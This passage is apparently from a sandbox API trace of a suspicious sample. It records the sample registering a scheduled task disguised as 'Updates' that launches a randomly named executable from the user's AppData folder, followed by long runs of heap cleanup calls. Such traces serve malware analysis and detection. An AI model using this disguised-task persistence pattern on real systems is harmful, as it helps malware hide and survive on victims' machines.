(lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\tmpb163.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x12c [0207.378] GetFileSizeEx (in: hFile=0x12c, lpFileSize=0xdcd7c | out: lpFileSize=0xdcd7c*=1602) returned 1 [0207.378] ReadFile (in: hFile=0x12c, lpBuffer=0xdcd8c, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0xdcd88, lpOverlapped=0x0 | out: lpBuffer=0xdcd8c*, lpNumberOfBytesRead=0xdcd88*=0x2, lpOverlapped=0x0) returned 1 [0207.379] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.379] malloc (_Size=0x643) returned 0x7738d0 [0207.379] ReadFile (in: hFile=0x12c, lpBuffer=0x7738d0, nNumberOfBytesToRead=0x643, lpNumberOfBytesRead=0xdcd88, lpOverlapped=0x0 | out: lpBuffer=0x7738d0*, lpNumberOfBytesRead=0xdcd88*=0x642, lpOverlapped=0x0) returned 1 [0207.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x7738d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1603 [0207.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x7738d0, cbMultiByte=-1, lpWideCharStr=0x42a83c, cchWideChar=1603 | out: lpWideCharStr="\n\n \n 2014-10-25T14:27:44.8929027\n XC64ZB\\RDhJ0CNFevzX\n \n \n \n true\n XC64ZB\\RDhJ0CNFevzX\n \n \n false\n \n \n \n \n XC64ZB\\RDhJ0CNFevzX\n InteractiveToken\n LeastPrivilege\n \n \n \n StopExisting\n false\n true\n false\n true\n false\n \n true\n false\n \n true\n true\n false\n false\n false\n PT0S\n 7\n \n \n \n C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\n \n \n") returned 1603 [0207.379] SysStringLen (param_1="\n\n \n 2014-10-25T14:27:44.8929027\n XC64ZB\\RDhJ0CNFevzX\n \n \n \n true\n XC64ZB\\RDhJ0CNFevzX\n \n \n false\n \n \n \n \n XC64ZB\\RDhJ0CNFevzX\n InteractiveToken\n LeastPrivilege\n \n \n \n StopExisting\n false\n true\n false\n true\n false\n \n true\n false\n \n true\n true\n false\n false\n false\n PT0S\n 7\n \n \n \n C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\n \n \n") returned 0x642 [0207.379] VarBstrCat (in: bstrLeft=0x0, bstrRight="\n\n \n 2014-10-25T14:27:44.8929027\n XC64ZB\\RDhJ0CNFevzX\n \n \n \n true\n XC64ZB\\RDhJ0CNFevzX\n \n \n false\n \n \n \n \n XC64ZB\\RDhJ0CNFevzX\n InteractiveToken\n LeastPrivilege\n \n \n \n StopExisting\n false\n true\n false\n true\n false\n \n true\n false\n \n true\n true\n false\n false\n false\n PT0S\n 7\n \n \n \n C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\n \n \n", pbstrResult=0xdcd2c | out: pbstrResult=0xdcd2c) returned 0x0 [0207.380] free (_Block=0x7738d0) [0207.380] CloseHandle (hObject=0x12c) returned 1 [0207.380] lstrlenW (lpString="") returned 0 [0207.380] malloc (_Size=0xc) returned 0x773830 [0207.381] SysStringLen (param_1="") returned 0x0 [0207.381] free (_Block=0x773830) [0207.381] lstrlenW (lpString="") returned 0 [0207.381] ITaskFolder:RegisterTask (in: This=0x773880, Path="Updates\\rWWREmAZOgElhb", XmlText="\n\n \n 2014-10-25T14:27:44.8929027\n XC64ZB\\RDhJ0CNFevzX\n \n \n \n true\n XC64ZB\\RDhJ0CNFevzX\n \n \n false\n \n \n \n \n XC64ZB\\RDhJ0CNFevzX\n InteractiveToken\n LeastPrivilege\n \n \n \n StopExisting\n false\n true\n false\n true\n false\n \n true\n false\n \n true\n true\n false\n false\n false\n PT0S\n 7\n \n \n \n C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\n \n \n", flags=2, UserId=0xdcd60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), password=0xdcd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=0, sddl=0xdcd84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcde0 | out: ppTask=0xdcde0*=0x773908) returned 0x0 [0208.310] GetProcessHeap () returned 0x410000 [0208.310] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x424ec0 [0208.310] _memicmp (_Buf1=0x417338, _Buf2=0xd02708, _Size=0x7) returned 0 [0208.310] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x41a7e8, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0208.310] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0208.310] GetProcessHeap () returned 0x410000 [0208.310] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x82) returned 0x429380 [0208.310] _vsnwprintf (in: _Buffer=0xdcdf8, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdcd94 | out: _Buffer="SUCCESS: The scheduled task \"Updates\\rWWREmAZOgElhb\" has successfully been created.\n") returned 84 [0208.310] __iob_func () returned 0x76b41208 [0208.310] _fileno (_File=0x76b41228) returned 1 [0208.310] _errno () returned 0x7705b0 [0208.310] _get_osfhandle (_FileHandle=1) returned 0x3c [0208.310] _errno () returned 0x7705b0 [0208.310] GetFileType (hFile=0x3c) returned 0x2 [0208.310] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0208.310] GetFileType (hFile=0x3c) returned 0x2 [0208.310] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdcd68 | out: lpMode=0xdcd68) returned 1 [0208.405] __iob_func () returned 0x76b41208 [0208.405] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0208.405] lstrlenW (lpString="SUCCESS: The scheduled task \"Updates\\rWWREmAZOgElhb\" has successfully been created.\n") returned 84 [0208.405] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdcdf8*, nNumberOfCharsToWrite=0x54, lpNumberOfCharsWritten=0xdcd8c, lpReserved=0x0 | out: lpBuffer=0xdcdf8*, lpNumberOfCharsWritten=0xdcd8c*=0x54) returned 1 [0208.500] IUnknown:Release (This=0x773908) returned 0x0 [0208.500] TaskScheduler:IUnknown:Release (This=0x773880) returned 0x0 [0208.500] TaskScheduler:IUnknown:Release (This=0x773758) returned 0x0 [0208.500] lstrlenW (lpString="") returned 0 [0208.500] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0208.500] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0208.500] GetProcessHeap () returned 0x410000 [0208.500] GetProcessHeap () returned 0x410000 [0208.500] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419e08) returned 1 [0208.500] GetProcessHeap () returned 0x410000 [0208.500] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419e08) returned 0x1fc [0208.501] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419e08) returned 1 [0208.501] GetProcessHeap () returned 0x410000 [0208.501] GetProcessHeap () returned 0x410000 [0208.501] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416a60) returned 1 [0208.501] GetProcessHeap () returned 0x410000 [0208.501] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416a60) returned 0x6a [0208.502] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416a60) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419638) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419638) returned 0x16 [0208.502] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419638) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x41ab70) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x41ab70) returned 0x10 [0208.502] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x41ab70) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419378) returned 1 [0208.502] GetProcessHeap () returned 0x410000 [0208.502] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419378) returned 0x14 [0208.503] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419378) returned 1 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x418f40) returned 1 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x418f40) returned 0xa0 [0208.503] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x418f40) returned 1 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417320) returned 1 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417320) returned 0x10 [0208.503] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417320) returned 1 [0208.503] GetProcessHeap () returned 0x410000 [0208.503] GetProcessHeap () returned 0x410000 [0208.504] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419618) returned 1 [0208.504] GetProcessHeap () returned 0x410000 [0208.504] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419618) returned 0x14 [0208.504] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419618) returned 1 [0208.504] GetProcessHeap () returned 0x410000 [0208.504] GetProcessHeap () returned 0x410000 [0208.504] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4169e8) returned 1 [0208.504] GetProcessHeap () returned 0x410000 [0208.504] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4169e8) returned 0x6e [0208.505] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4169e8) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x41ad08) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x41ad08) returned 0x10 [0208.505] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x41ad08) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419738) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419738) returned 0x14 [0208.505] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419738) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417458) returned 1 [0208.505] GetProcessHeap () returned 0x410000 [0208.505] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417458) returned 0xc [0208.506] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417458) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417428) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417428) returned 0x10 [0208.506] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417428) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4193d8) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4193d8) returned 0x14 [0208.506] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4193d8) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x418d30) returned 1 [0208.506] GetProcessHeap () returned 0x410000 [0208.506] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x418d30) returned 0x208 [0208.507] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x418d30) returned 1 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417350) returned 1 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417350) returned 0x10 [0208.507] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417350) returned 1 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419718) returned 1 [0208.507] GetProcessHeap () returned 0x410000 [0208.507] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419718) returned 0x14 [0208.508] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419718) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x41a7e8) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x41a7e8) returned 0x200 [0208.508] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x41a7e8) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417338) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417338) returned 0x10 [0208.508] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417338) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4196b8) returned 1 [0208.508] GetProcessHeap () returned 0x410000 [0208.508] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4196b8) returned 0x14 [0208.509] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4196b8) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4195b8) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4195b8) returned 0x14 [0208.509] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4195b8) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417440) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417440) returned 0x10 [0208.509] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417440) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416600) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416600) returned 0x14 [0208.509] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416600) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419698) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419698) returned 0x16 [0208.509] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419698) returned 1 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] GetProcessHeap () returned 0x410000 [0208.509] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417488) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417488) returned 0x10 [0208.510] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417488) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4165e0) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4165e0) returned 0x14 [0208.510] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4165e0) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x410598) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x410598) returned 0x2 [0208.510] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x410598) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416e50) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416e50) returned 0x14 [0208.510] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416e50) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x418640) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.510] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x418640) returned 0x14 [0208.510] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x418640) returned 1 [0208.510] GetProcessHeap () returned 0x410000 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x418660) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x418660) returned 0x14 [0208.511] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x418660) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416c18) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416c18) returned 0x14 [0208.511] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416c18) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4193b8) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4193b8) returned 0x14 [0208.511] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4193b8) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4195d8) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4195d8) returned 0x14 [0208.511] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4195d8) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x412590) returned 1 [0208.511] GetProcessHeap () returned 0x410000 [0208.511] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x412590) returned 0x30 [0208.512] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x412590) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419678) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419678) returned 0x14 [0208.512] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419678) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416590) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416590) returned 0x30 [0208.512] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416590) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419398) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419398) returned 0x14 [0208.512] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419398) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x429380) returned 1 [0208.512] GetProcessHeap () returned 0x410000 [0208.512] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429380) returned 0x82 [0208.513] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x429380) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x424ec0) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x424ec0) returned 0x14 [0208.513] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x424ec0) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4174a0) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4174a0) returned 0x10 [0208.513] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4174a0) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416c38) returned 1 [0208.513] GetProcessHeap () returned 0x410000 [0208.513] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416c38) returned 0x14 [0208.514] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416c38) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416c58) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416c58) returned 0x14 [0208.514] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416c58) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416848) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416848) returned 0x14 [0208.514] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416848) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416868) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416868) returned 0x14 [0208.514] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416868) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4174b8) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4174b8) returned 0x10 [0208.514] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4174b8) returned 1 [0208.514] GetProcessHeap () returned 0x410000 [0208.514] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416888) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416888) returned 0x14 [0208.515] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416888) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416620) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416620) returned 0x14 [0208.515] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416620) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419598) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419598) returned 0x14 [0208.515] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419598) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4196d8) returned 1 [0208.515] GetProcessHeap () returned 